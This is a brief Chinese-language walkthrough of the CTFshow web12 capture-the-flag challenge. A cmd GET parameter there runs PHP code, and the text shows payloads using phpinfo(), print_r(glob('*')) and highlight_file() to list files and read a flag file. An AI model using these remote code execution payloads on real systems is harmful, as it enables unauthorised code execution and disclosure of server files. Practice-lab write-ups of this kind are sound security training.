CTFshow-web-web12
打开靶场,显示如下
查看源代码,发现有个提示
利用burpsuite进行抓包,发现是get传参
尝试远程代码执行,传入参数
?cmd=phpinfo();
发现有回显
可以执行php函数
php中有个函数glob();
glob()函数返回匹配指定模式的文件名或目录
glob(“”)匹配任意文件
glob(“.txt”)匹配以txt后缀的文件
我们将当前目录下的文件打印出,输入
?cmd=print_r(glob("*"));
找到两个文件
我们使用高亮函数,将长的文件显示一下
highlight_file()函数可以用于将一个PHP文件的代码高亮显示,并输出到页面上或者保存到文件中。
输入
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得出flag